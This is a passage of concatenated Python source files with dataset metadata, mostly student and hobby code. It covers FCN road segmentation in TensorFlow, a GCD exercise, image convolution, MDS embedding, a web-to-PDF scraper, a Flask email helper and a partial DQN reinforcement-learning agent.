'image_input:0'\n vgg_keep_prob_tensor_name = 'keep_prob:0'\n vgg_layer3_out_tensor_name = 'layer3_out:0'\n vgg_layer4_out_tensor_name = 'layer4_out:0'\n vgg_layer7_out_tensor_name = 'layer7_out:0'\n \n tf.saved_model.loader.load(sess, [vgg_tag], vgg_path)\n graph = tf.get_default_graph()\n input_tensor = graph.get_tensor_by_name(vgg_input_tensor_name)\n keep_prob_tensor = graph.get_tensor_by_name(vgg_keep_prob_tensor_name)\n layer3_out_tensor = graph.get_tensor_by_name(vgg_layer3_out_tensor_name)\n layer4_out_tensor = graph.get_tensor_by_name(vgg_layer4_out_tensor_name)\n layer7_out_tensor = graph.get_tensor_by_name(vgg_layer7_out_tensor_name) \n \n return input_tensor, keep_prob_tensor, layer3_out_tensor, layer4_out_tensor, layer7_out_tensor\ntests.test_load_vgg(load_vgg, tf)\n\n\ndef layers(vgg_layer3_out, vgg_layer4_out, vgg_layer7_out, num_classes):\n \"\"\"\n Create the layers for a fully convolutional network. Build skip-layers using the vgg layers.\n :param vgg_layer7_out: TF Tensor for VGG Layer 3 output\n :param vgg_layer4_out: TF Tensor for VGG Layer 4 output\n :param vgg_layer3_out: TF Tensor for VGG Layer 7 output\n :param num_classes: Number of classes to classify\n :return: The Tensor for the last layer of output\n \"\"\"\n # one-by-ones\n\n l3_1x1 = tf.layers.conv2d(vgg_layer3_out, num_classes, 1, padding='same', strides=(1,1),\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01))\n l4_1x1 = tf.layers.conv2d(vgg_layer4_out, num_classes, 1, padding='same', strides=(1,1),\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01))\n l7_1x1 = tf.layers.conv2d(vgg_layer7_out, num_classes, 1, padding='same', strides=(1,1),\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01))\n \n #decoder\n \n #FCN-32 comes as is, with no SKIPS\n fcn_32 = tf.layers.conv2d_transpose(l7_1x1, num_classes, 4, strides=(2,2), padding='same',\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01))\n \n #FCN-16 SKIP from POOL-4 to the output\n fcn_16_input = tf.add(fcn_32, l4_1x1)\n fcn_16 = tf.layers.conv2d_transpose(fcn_16_input, num_classes, 4, strides=(2,2), padding='same',\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01))\n \n #FCN-8 adding one more SKIP from POOL-3\n fcn_8_input = tf.add(fcn_16, l3_1x1)\n fcn_8 = tf.layers.conv2d_transpose(fcn_8_input, num_classes, 16, strides=(8,8), padding='same',\n kernel_regularizer=tf.contrib.layers.l2_regularizer(1e-3),\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.01),\n name='fcn8_out')\n \n return fcn_8\ntests.test_layers(layers)\n\n\ndef optimize(nn_last_layer, correct_label, learning_rate, num_classes):\n \"\"\"\n Build the TensorFLow loss and optimizer operations.\n :param nn_last_layer: TF Tensor of the last layer in the neural network\n :param correct_label: TF Placeholder for the correct label image\n :param learning_rate: TF Placeholder for the learning rate\n :param num_classes: Number of classes to classify\n :return: Tuple of (logits, train_op, cross_entropy_loss)\n \"\"\"\n logits = tf.reshape(nn_last_layer, (-1, num_classes)) #from 4D to 2D\n cross_entropy_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=logits, labels=correct_label))\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n train_op = optimizer.minimize(cross_entropy_loss)\n return logits, train_op, cross_entropy_loss\ntests.test_optimize(optimize)\n\n\ndef train_nn(sess, epochs, batch_size, get_batches_fn, train_op, cross_entropy_loss, image_input,\n correct_label, keep_prob, learning_rate):\n \"\"\"\n Train neural network and print out the loss during training.\n :param sess: TF Session\n :param epochs: Number of epochs\n :param batch_size: Batch size\n :param get_batches_fn: Function to get batches of training data. Call using get_batches_fn(batch_size)\n :param train_op: TF Operation to train the neural network\n :param cross_entropy_loss: TF Tensor for the amount of loss\n :param input_image: TF Placeholder for input images\n :param correct_label: TF Placeholder for label images\n :param keep_prob: TF Placeholder for dropout keep probability\n :param learning_rate: TF Placeholder for learning rate\n \"\"\"\n for i in range(epochs):\n gen = get_batches_fn(batch_size)\n images, gt_images = next(gen)\n _, loss = sess.run([train_op, cross_entropy_loss], {\n image_input:images, \n correct_label:gt_images,\n keep_prob:0.6,\n learning_rate:1e-3})\n print(\"Loss:{} at {} epoch.\".format(loss, i))\n\ntests.test_train_nn(train_nn)\n\n\ndef train(): #former run()\n tests.test_for_kitti_dataset(data_dir)\n\n # Download pretrained vgg model\n helper.maybe_download_pretrained_vgg(data_dir)\n\n # OPTIONAL: Train and Inference on the cityscapes dataset instead of the Kitti dataset.\n # You'll need a GPU with at least 10 teraFLOPS to train on.\n # https://www.cityscapes-dataset.com/\n\n model_path = os.path.join(fcn_dir, str(time.time())) + \".ckpt\"\n #builder = tf.saved_model.builder.SavedModelBuilder(model_path)\n with tf.Session() as sess:\n # Path to vgg model\n vgg_path = os.path.join(data_dir, 'vgg')\n # Create function to get batches\n get_batches_fn = helper.gen_batch_function(os.path.join(data_dir, 'data_road/training'), image_shape)\n\n # OPTIONAL: Augment Images for better results\n # https://datascience.stackexchange.com/questions/5224/how-to-prepare-augment-images-for-neural-network\n\n # Build NN using load_vgg, layers, and optimize function\n \n in_t, keep_prob, l3_t, l4_t, l7_t = load_vgg(sess, vgg_path)\n\n fcn_8 = layers(l3_t, l4_t, l7_t, num_classes)\n \n correct_label = tf.placeholder(tf.float32, [None, None, None, num_classes])\n learning_rate = tf.placeholder(tf.float32)\n logits, train_op, cross_entropy_loss = optimize(fcn_8, correct_label, learning_rate, num_classes)\n\n # Train NN using the train_nn function\n \n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver()\n \n train_nn(sess, 1000, 50, get_batches_fn, train_op, cross_entropy_loss, in_t,\n correct_label, keep_prob, learning_rate)\n \n #saving the model\n #builder.save()\n save_path = saver.save(sess, model_path)\n print(\"Model Saved in {}\".format(model_path))\n\n # Save inference data using helper.save_inference_samples\n #helper.save_inference_samples(runs_dir, data_dir, sess, image_shape, logits, keep_prob, in_t)\n\n\ndef load_model(model_path, sess):\n model_path = os.path.join(fcn_dir, model_path)\n saver = tf.train.import_meta_graph(model_path + \".meta\")\n saver.restore(sess, model_path)\n #tf.saved_model.loader.load(sess, ['FCN-8'], model_path)\n graph = tf.get_default_graph()\n keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n image_input = graph.get_tensor_by_name(\"image_input:0\")\n fcn8_out = graph.get_tensor_by_name(\"fcn8_out/BiasAdd:0\")\n logits = tf.reshape(fcn8_out, (-1, num_classes)) #from 4D to 2D\n return logits, keep_prob, image_input\n\ndef test_on_images(model_path):\n with tf.Session() as sess:\n # Save inference data using helper.save_inference_samples\n logits, keep_prob, image_input = load_model(model_path, sess)\n helper.save_inference_samples(runs_dir, data_dir, sess, image_shape, logits, keep_prob, image_input)\n\ndef test_on_video(model_path, video_file_name):\n bitmask_buffer = []\n buffer_size = 20\n min_weight = 4\n with tf.Session() as sess:\n logits, keep_prob, image_input = load_model(model_path, sess)\n\n def process_frame(image):\n image = scipy.misc.imresize(image, image_shape)\n #img = image[370:690,64:1216,:]\n im_softmax = sess.run(\n [tf.nn.softmax(logits)],\n {keep_prob: 1.0, image_input: [image]})#img]})\n im_softmax = im_softmax[0][:, 1].reshape(image_shape[0], image_shape[1])\n segmentation = (im_softmax > 0.5).reshape(image_shape[0], image_shape[1], 1)\n \n #movering average across few last frames\n bitmask_buffer.extend([np.dot(segmentation, 1)])\n if len(bitmask_buffer) > buffer_size:\n bitmask_buffer.pop(0)\n acc_mask = np.zeros(segmentation.shape, dtype=np.int64)\n for bm in bitmask_buffer:\n acc_mask += bm\n acc_mask[acc_mask[:,:,0]<min_weight] = 0 \n \n mask = np.dot(acc_mask, np.array([[0, 255, 0, 192]]))\n mask = scipy.misc.toimage(mask, mode=\"RGBA\")\n street_im = scipy.misc.toimage(image)\n street_im.paste(mask, mask=mask, box=None)#(64,370))\n street_im = scipy.misc.imresize(street_im, (720, 1280))\n return np.array(street_im)\n \n clip_output = './video/project_video_output.mp4'\n clip = VideoFileClip(os.path.join(\"./video/\", video_file_name))\n clip_processing = clip.fl_image(process_frame)\n clip_processing.write_videofile(clip_output, audio=False)\n\n\nif __name__ == '__main__':\n tf.reset_default_graph()\n\n if len(sys.argv) == 1:\n print(\"Training...\")\n train()\n elif sys.argv[1] == \"aug\":\n helper_img_aug.augment_images(os.path.join(data_dir, 'data_road/training'))\n elif len(sys.argv) == 3 and sys.argv[2] == \"img\":\n print(\"Testing on images...\")\n test_on_images(sys.argv[1])\n elif len(sys.argv) == 3:\n print(\"Testing on video...\")\n test_on_video(sys.argv[1], sys.argv[2])\n else:\n print(\"Missing arguments.\")\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"649827332","text":"# +\n\n# Exercise 10.12\n\ndef gcd(numbers):\n gcd = 1\n k = 2\n while k <= min(numbers):\n isGCD = True\n for number in numbers:\n if number % k != 0:\n isGCD = False\n break\n\n if isGCD:\n gcd = k\n\n k += 1\n\n return gcd\n\n \ndef main():\n s = input(\"Enter five integers separated with spaces: \")\n items = s.split()\n numbers = [eval(x) for x in items]\n print(\"The GCD of these numbers is\", gcd(numbers))\n\n\nmain()\n","sub_path":"Python/IntroductionBook/Exercise10_12_ComputeGCDOfList.py","file_name":"Exercise10_12_ComputeGCDOfList.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"215278125","text":"'''\nCreated on 6 May 2013\n\n@author: Daniel\n'''\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom mazegen import *\n\ndef drawmaze(maze):\n \n edges = []\n\n g = nx.Graph()\n \n for node in maze.edgedict:\n tmp = (node + (maze.edgedict.get(node),))\n edges.append(node + (maze.edgedict.get(node),))\n \n \n g.add_nodes_from(maze.nodes.keys())\n \n # add edges\n g.add_weighted_edges_from(edges)\n \n nx.draw(g, with_labels=True)\n plt.show()\n\nif __name__ == \"__main__\":\n drawmaze(AldBro2(5))","sub_path":"generators/netxdraw.py","file_name":"netxdraw.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"243707739","text":"# import sys,re,os\nimport time\n# from PyPDF2 import utils, PdfFileReader, PdfFileWriter\nimport requests\nfrom urllib.request import urlopen#用于获取网页\nfrom bs4 import BeautifulSoup#用于解析网页\n# import collections\nimport pdfkit\n# import subprocess\n# import shutil\nheaders={ \"User-Agent\":\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\",\"Connection\": \"close\" }\ndef get_content(url):\n \"\"\"\n 解析URL,获取需要的html内容\n :param url: 目标网址\n :return: html\n \"\"\"\n # print(url)\n try:\n res=requests.get(url,timeout=1,headers=headers)\n if res.status_code==200:\n html =res.content\n soup = BeautifulSoup(html, 'html.parser')\n container=soup.select('#container')\n content=None\n if not container :\n article=soup.select('article')\n if not article:\n readme=soup.select('#readme')\n content=readme[0]\n else:\n content=article[0]\n else:\n content =container[0]\n \n return str(content)\n except ConnectionError :\n print('Cathc Error')\n except Exception as e:\n print('Cathc Error')\n \ndef save_pdf(html, filename):\n \"\"\"\n 把所有html文件保存到pdf文件\n :param html: html内容\n :param file_name: pdf文件名\n :return:\n \"\"\"\n options = {\n 'page-size': 'Letter',\n 'margin-top': '0.75in',\n 'margin-right': '0.75in',\n 'margin-bottom': '0.75in',\n 'margin-left': '0.75in',\n 'encoding': \"UTF-8\",\n 'custom-header': [\n ('Accept-Encoding', 'gzip')\n ],\n 'cookie': [\n ('cookie-name1', 'cookie-value1'),\n ('cookie-name2', 'cookie-value2'),\n ],\n 'outline-depth': 10,\n }\n\n # 配置 wkhtmltopdf.exe 位置\n #这里指定一下wkhtmltopdf的路径,这就是我为啥在前面让记住这个路径\n # download wkhtmltopdf.exe https://wkhtmltopdf.org/downloads.html\n confg = pdfkit.configuration(wkhtmltopdf=r'E:\\zhuxiaobin001\\code\\data\\wkhtmltox\\bin\\wkhtmltopdf.exe')\n if not os.path.exists(filename):\n try:\n pdfkit.from_string(html, filename,configuration=confg,options=options)\n except Exception as identifier:\n pass\n else:\n print('file already exists')\n\ndef main():\n url =\"https://segmentfault.com/a/1190000008754631\"\n html = urlopen(url)\n bsObj = BeautifulSoup(html, 'html.parser')\n selector=\"article>ul>li a\"\n all_links = bsObj.select(selector)\n print('total:',len(all_links))\n dirs=os.getcwd()+'/pdfs/'\n if os.path.exists(dirs):\n print('dir already exists')\n else:\n os.makedirs(dirs)\n for item in all_links:\n href=item[\"href\"]\n filename=item.text+'.pdf'\n filename=dirs+filename\n if \"PWA 学习笔记\" in filename:\n continue\n if os.path.exists(filename):\n continue\n print(href,filename)\n content=get_content(href)\n save_pdf(content,filename)\n time.sleep(1)\n\n \n \n \n \n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"spider/angular_修仙之路.py","file_name":"angular_修仙之路.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"473999743","text":"#!/usr/bin/env python3\n\nimport time\nimport numpy as np\n\nimport bestbst\n\ndef execute():\n print(\"\\nStarting on a tree of height\", tree.height(), \"...\", end='')\n\n start = time.process_time()\n for i in test_set:\n tree.find(i)\n stop = time.process_time()\n\n print(stop - start, \"s\")\n\n\nif __name__ == \"__main__\":\n\n _n_tests = 10000\n _tree_size = 100000\n _seed = 314\n\n np.random.seed(_seed)\n test_set = np.random.rand(_n_tests) * _tree_size # To get keys that actually exist\n test_set = [int(x) for x in test_set]\n\n print(\"====================================================\")\n print(\"== Benchmarking Binary Search Tree implementation ==\")\n print(\"== Tree size:\", _tree_size, \" Number of tries:\", _n_tests, \"==\")\n print(\"====================================================\")\n\n print(\"Filling the tree...\")\n\n tree = bestbst.BTree()\n [tree.insert(x, 0) for x in range(_tree_size)]\n\n execute()\n\n print(\"\\nBalancing...\")\n tree.balance()\n\n execute()\n","sub_path":"exam/mix/benchmarks.py","file_name":"benchmarks.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"636808035","text":"from threading import Thread\nfrom flask_mail import Message\nfrom app import mail, app\n\n\ndef send_async_email(app, msg):\n with app.app_context():\n mail.send(msg)\n\n\ndef send_email(subject, sender, recipients, html_body,\n attachments=None, sync=False):\n msg = Message(subject, sender=sender, recipients=recipients)\n msg.html = html_body\n Thread(target=send_async_email, args=(app, msg)).start()\n","sub_path":"app/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"388727143","text":"import numpy as np \nimport matplotlib.pyplot as plt \nfrom mpl_toolkits.mplot3d import Axes3D\n\nclass multiple_dimensional_scaling:\n #initial\n def __init__(self):\n pass\n\n def dist_square_mat(self,data):\n m=data.shape[0]\n d_dot = np.matmul(data,data.T)\n one = np.ones((m,m))\n diag = d_dot*np.identity(m)\n ret = np.matmul(one,diag) + np.matmul(diag,one) - 2*d_dot\n return ret\n\n def embeding(self,data,dim):\n m = data.shape[0]\n D = self.dist_square_mat(data)\n di = np.average(D,axis=0)\n dj = np.average(D,axis=1)\n dj.shape = (-1,1)\n davg = np.average(D)\n B = -(D-di-dj+davg)/2.0\n eign_value,eign_vector = np.linalg.eig(B)\n reduce_eign_diag = np.zeros((dim,dim))\n reduce_eign_vector = np.zeros((m,dim))\n min_eign = np.min(eign_value)\n for j in range(0,dim):\n id = np.argmax(eign_value)\n reduce_eign_diag[j,j]=eign_value[id]\n reduce_eign_vector[:,j]=eign_vector[:,id]\n eign_value[id]=min_eign\n\n ret = np.matmul(reduce_eign_vector,np.sqrt(reduce_eign_diag))\n return ret\n\n#test data\nn=3\nm=300\ndesired_dim = 2\n\ndata = np.random.multivariate_normal(np.ones(n)*0.5,np.identity(n)*0.05,size=m)\ndata = np.clip(data,0,1)\n\n#embeding\nMDS = multiple_dimensional_scaling()\nZ = MDS.embeding(data,desired_dim)\n\n#visualize\nfig = plt.figure()\nbefore_fig=plt.subplot(121, projection='3d')\nbefore_fig.scatter(data[:,0],data[:,1],data[:,2],c = data )\n\nafter_fig=plt.subplot(122)\nafter_fig.scatter(Z[:,0],Z[:,1],c=data)\nplt.show()","sub_path":"stanford_cs229/embeding/emb_MDS.py","file_name":"emb_MDS.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"531287785","text":"\n\"\"\"\n\nWrite a function that takes an ordered list of numbers\n(a list where the elements are in order from smallest to largest) and another number.\nThe function decides whether or not the given number is inside the list\nreturns (then prints) an appropriate boolean.\n\n\"\"\"\n\ndef main():\n \n import numpy\n new_number = int(input(\"[Please enter a number to see if it's in the list.] \"))\n the_list = numpy.random.randint(0,100,100)\n print(the_list)\n \n # I realized that we can use if and else in the statement of printing.\n # Very STRAIGHTFORWARD!\n print(\"In the list\" if new_number in the_list else \"Not in the list\")\n\nif __name__==\"__main__\":\n main()\n \n","sub_path":"First Programs/List comprehension D.py","file_name":"List comprehension D.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"55796089","text":"import numpy as np\nfrom PIL import Image\nimport webbrowser\nimport functools\nimport sys\nimport timeit\n\n\ndef image_to_array(image_path : str):\n image = Image.open(image_path)\n array = np.array(image)\n array.reshape(-1, array.shape[2])\n return array\n\n\ndef bmpif_to_array(path, shape):\n bmp_array = np.fromfile(path, dtype=int)\n bmp_array = bmp_array.reshape(shape)\n return bmp_array\n \n\ndef convolve(matrix : np.ndarray, kernel : np.ndarray):\n def get_matrix_item(x, y, z):\n xm, ym, zm = matrix.shape\n if (0 <= x < xm) and (0 <= y < ym) and (0 <= z < zm):\n return matrix[x, y, z]\n return 0\n \n matrix_out = np.zeros(matrix.shape, dtype=matrix.dtype)\n kernel_width = len(kernel) // 2\n kernel_sum = kernel.sum()\n for (row_num, cell_num, chanel_num), element in np.ndenumerate(matrix):\n base_row = row_num - kernel_width\n base_col = cell_num - kernel_width\n sum_ = 0\n for (row_offset, col_offset), _ in np.ndenumerate(kernel):\n row = base_row + row_offset\n column = base_col + col_offset\n matrix_elem = get_matrix_item(row, column, chanel_num)\n sum_ += int(matrix_elem * kernel[row_offset, col_offset])\n matrix_out[row_num, cell_num, chanel_num] = int(sum_ / kernel_sum)\n return matrix_out\n\n\nfilters = {\n 'emboss': np.array([\n [-2, -1, 0],\n [-1, 1, 1],\n [0, 1, 2]\n ]),\n 'blur 3x3': np.array([\n [1/16, 1/8, 1/16],\n [1/8, 1/4, 1/8],\n [1/16, 1/8, 1/16]\n ]),\n 'identity': np.array([\n [0, 0, 0],\n [0, 1, 0],\n [0, 0, 0]\n ])\n}\n\n# a = image_to_array('1.bmp')\n# b = convolve(a, filters['blur 3x3'])\n# Image.fromarray(b, mode='RGB').save('2.bmp')\n# webbrowser.open('2.bmp')\n\nif __name__ == '__main__':\n # _, bmpif, result_path, bench_path, *shape = sys.argv\n # image = bmpif_to_array(bmpif, [int(i) for i in shape])\n # result = None\n # def _convolve():\n # global result\n # result = convolve(image, filters['blur 3x3'])\n # time = timeit.timeit(stmt=_convolve, number=1)\n # result.tofile(result_path)\n # with open(bench_path, 'a') as f:\n # f.write('python+numpy: {}s\\n'.format(time))\n a = image_to_array('1.bmp') \n\n import cProfile, pstats, io\n pr = cProfile.Profile()\n pr.enable()\n b = convolve(a, filters['blur 3x3'])\n pr.disable()\n s = io.StringIO()\n sortby = 'cumulative'\n ps = pstats.Stats(pr, stream=s).sort_stats(sortby)\n ps.print_stats()\n print(s.getvalue())\n\n Image.fromarray(b, mode='RGB').save('2.bmp')\n webbrowser.open('2.bmp')\n","sub_path":"python_family/image_filter_py.py","file_name":"image_filter_py.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"96748903","text":"def print_graduation_status():\n \"\"\"\n Given a series of hard-coded values for dean permission, advisor permission, approved senior status, and amount of\n accumulated credits, prints whether or not a student can graduate.\n\n :return: None.\n \"\"\"\n # Student information\n has_dean_permission = True\n has_advisor_permission = True\n is_approved_senior = True\n accumulated_credits = 2\n\n # Graduation status display; this is what the students will start with.\n if accumulated_credits >= 40 and has_advisor_permission:\n print(\"This student can graduate.\")\n elif accumulated_credits >= 64 and is_approved_senior:\n print(\"This student can graduate.\")\n elif has_dean_permission:\n print(\"This student can graduate.\")\n else:\n print(\"This student cannot graduate.\")\n\n\ndef main():\n print_graduation_status()\n\n\n### DO NOT WRITE CODE BELOW THIS LINE.\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"graduation_status.py","file_name":"graduation_status.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"261130697","text":"import pickle, random, time\nimport tensorflow as tf\nimport numpy as np\n\nclass DddqnAgent:\n\n def __init__(self, state_size, stack_size, action_size, model, model_file, tensorboard_dir, memory_file, stats_file, binary_features = []):\n\n self.state_size = state_size\n self.stack_size = stack_size\n self.action_size = action_size\n\n self.current_state = np.zeros((*state_size, stack_size))\n self.allowed_actions = [0]\n self.episode_actions = []\n self.episode_values = []\n self.losses = []\n self.test_scores = []\n\n self.learning_rate = 0.001\n self.batch_size = 1024\n self.explore_probability = 1.0\n self.explore_stop = 0.01\n self.explore_decay = 0.0\n self.discount_rate = 0.99\n\n self.training_in_progress = False\n self.n_batches_left = 0\n\n self.per_e = 0.01\n self.per_a = 0.6\n self.per_b = 0.4\n self.per_b_increment = 0.01\n self.per_error_upper_bound = 1.0\n\n self.epoch = 0\n self.replays_per_epoch = 10\n self.episode_cache = []\n\n self.model_file = model_file\n self.tensorboard_dir = tensorboard_dir\n self.memory_file = memory_file\n self.stats_file = stats_file\n\n self.binary_features = binary_features\n self.loss = 0\n\n tf.reset_default_graph()\n self.q_network = model(self.state_size, self.stack_size, self.action_size, self.learning_rate, name='q_network')\n self.target_network = model(self.state_size, self.stack_size, self.action_size, self.learning_rate, name='target_network')\n\n self.tf_session = tf.Session()\n self.saver = tf.train.Saver()\n try:\n self.saver.restore(self.tf_session, self.model_file)\n print('Model has been loaded!')\n except Exception as e:\n print(e)\n self.tf_session.run(tf.global_variables_initializer())\n try:\n self.load_memory()\n self.update_standardization_parameters()\n except Exception as e:\n print(e)\n self.memory = []\n self.per_priority = []\n self.mean_state = np.zeros(state_size)\n self.std_state = np.ones(state_size)\n self.mean_reward = 0\n self.std_reward = 1\n print('Memory has been initialized!')\n try:\n self.load_stats()\n except Exception as e:\n print(e)\n\n self.writer = tf.summary.FileWriter(self.tensorboard_dir, self.tf_session.graph)\n tf.summary.scalar('Loss', self.q_network.loss)\n self.write_op = tf.summary.merge_all()\n\n def calculate_exploration_rate(self, n):\n self.explore_decay = 1 - self.explore_stop ** (1.0 / n)\n\n def update_standardization_parameters(self):\n frames = np.hstack([item[0][:,:,-1] for item in self.memory])\n zero_or_one_rows = []\n for item in self.binary_features:\n zero_or_one_rows.append(np.arange(item[0], len(frames), item[1]))\n self.mean_state = np.mean(frames, axis=1)\n self.std_state = np.std(frames, axis=1)\n if len(zero_or_one_rows) > 0:\n zero_or_one_rows = np.hstack(zero_or_one_rows)\n self.mean_state[zero_or_one_rows] = 0\n self.std_state[zero_or_one_rows] = 1\n rewards = np.vstack([item[2] for item in self.memory])\n self.mean_reward = np.mean(rewards)\n self.std_reward = np.std(rewards)\n\n def normalize_minibatch(self, minibatch):\n minibarch_n = []\n tol = 1e-16\n for state, reward, next_state in minibatch:\n state_n = np.zeros(np.shape(state))\n for i in range(np.shape(state)[2]):\n frame = state[:,:,i]\n for j in range(np.shape(frame)[1]):\n state_n[:,j,i] = (state[:,j,i] - self.mean_state) / (self.std_state + tol)\n next_state_n = np.zeros(np.shape(next_state))\n for i in range(np.shape(next_state)[2]):\n frame = next_state[:, :, i]\n for j in range(np.shape(frame)[1]):\n next_state_n[:,j,i] = (next_state[:,j,i] - self.mean_state) / (self.std_state + tol)\n reward_n = (reward - self.mean_reward) / (self.std_reward + tol)\n minibarch_n.append((state_n, reward_n, next_state_n))\n return minibarch_n\n\n def stack_frames(self, frame, stacked_frames):\n while len(stacked_frames) < self.stack_size - 1:\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n state = np.stack(stacked_frames, axis=2)\n return state, stacked_frames\n\n def remember(self, experience):\n if len(self.per_priority) == 0 or np.max(self.per_priority) == 0:\n priority = self.per_error_upper_bound\n else:\n priority = np.max(self.per_priority)\n self.memory.append(experience)\n self.per_priority.append(priority)\n\n def remember_delayed(self, experience, done, penalty = 0.01):\n # episode = (state[key], allowed_action_index[key], alerts[key], next_state[key], allowed_actions[key], checked[key])\n self.episode_cache.append(experience)\n penalty = 1.0 / len(self.episode_cache)\n if done:\n rewards = - np.ones(len(self.episode_cache)) * penalty\n for i,item in enumerate(self.episode_cache):\n action = item[1]\n alerts = item[2]\n # calculate reward\n alerts_as_action_ind = 1 + np.where(np.array(alerts) == 1)[0] // 2\n if action == 0:\n rewards[i] = 0\n if len(alerts_as_action_ind) > 0:\n if action in alerts_as_action_ind and action > (self.action_size - 1)/2:\n rewards[i] = -1\n else:\n for j in reversed(range(i)):\n action_j = self.episode_cache[j][1]\n if action_j in alerts_as_action_ind and action_j <= (self.action_size - 1)/2:\n rewards[j] = np.maximum(rewards[j], 1 - (i - j) * penalty)\n break\n print(rewards)\n\n # define per priority\n if len(self.per_priority) == 0 or np.max(self.per_priority) == 0:\n priority = self.per_error_upper_bound\n else:\n priority = np.max(self.per_priority)\n for i in range(len(rewards)):\n self.memory.append((\n self.episode_cache[i][0],\n self.episode_cache[i][1],\n rewards[i],\n self.episode_cache[i][3],\n self.episode_cache[i][4],\n self.episode_cache[i][2],\n self.episode_cache[i][5],\n ))\n self.per_priority.append(priority)\n\n # clear cache\n self.episode_cache = []\n\n def sample(self):\n l = len(self.memory)\n if self.batch_size > l:\n n = l\n else:\n n = self.batch_size\n total_priority = np.sum(self.per_priority)\n self.per_b = np.min([1., self.per_b + self.per_b_increment])\n probs = self.per_priority / total_priority\n b_idx = np.random.choice(l, n, replace=False, p = probs)\n b_memory = []\n for ind in b_idx:\n b_memory.append(self.memory[ind])\n p_min = np.min(probs)\n w_max = (p_min * n) ** (-self.per_b)\n b_is_weights = np.empty((n,1), dtype=np.float32)\n for i in range(n):\n b_is_weights[i,0] = ((probs[b_idx[i]] * n) ** (-self.per_b)) / w_max\n return b_idx, b_memory, b_is_weights\n\n def update_priorities(self, idx, errors):\n errors += self.per_e\n clipped_errors_in_power_a = np.minimum(errors, self.per_error_upper_bound) ** self.per_a\n for i in range(len(idx)):\n self.per_priority[idx[i]] = clipped_errors_in_power_a[i]\n\n def best_allowed_action(self, q_vals, allowed_actions):\n possible_actions = np.zeros(len(q_vals))\n for j in allowed_actions:\n possible_actions[j] = q_vals[j]\n q_min = np.min(possible_actions)\n for j in allowed_actions:\n possible_actions[j] -= q_min\n if np.max(possible_actions) == 0:\n action = 0\n else:\n action = np.argmax(possible_actions)\n return action\n\n def q_vs_target(self, state, action, reward, next_state, allowed_actions):\n q_now = self.tf_session.run(self.q_network.output, feed_dict={self.q_network.inputs: state.reshape((1, *state.shape))})[0]\n q_next = self.tf_session.run(self.q_network.output, feed_dict={self.q_network.inputs: next_state.reshape((1, *state.shape))})[0]\n next_best_action = self.best_allowed_action(q_next, allowed_actions)\n q_next_target = self.tf_session.run(self.target_network.output, feed_dict={self.target_network.inputs: next_state.reshape((1, *state.shape))})[0]\n return q_now[action], ((reward - self.mean_reward) / (self.std_reward + 1e-16)) + self.discount_rate * q_next_target[next_best_action]\n\n def act(self, state, allowed_actions, eps = None):\n act_values = self.tf_session.run(self.q_network.output, feed_dict={self.q_network.inputs: state.reshape((1, *state.shape))})[0]\n if eps is None:\n eps = self.explore_probability\n if np.random.rand() <= eps:\n ind = np.random.choice(allowed_actions)\n is_random = 1\n else:\n ind = self.best_allowed_action(act_values, allowed_actions)\n is_random = 0\n return ind, is_random\n\n def update_target_graph(self):\n from_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, \"q_network\")\n to_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, \"target_network\")\n op_holder = []\n for from_var,to_var in zip(from_vars,to_vars):\n op_holder.append(to_var.assign(from_var))\n return op_holder\n\n def update_exploration_rate(self):\n if self.explore_probability > self.explore_stop:\n self.explore_probability *= (1 - self.explore_decay)\n\n def save_model(self):\n save_path = self.saver.save(self.tf_session, self.model_file)\n print('Model has been saved!')\n\n def replay(self, n_batches):\n self.training_in_progress = True\n count = 0\n total_count = 0\n self.losses = []\n self.n_batches_left = n_batches\n for batch_i in range(n_batches):\n self.n_batches_left -= 1\n try:\n idx, minibatch, is_weights = self.sample()\n 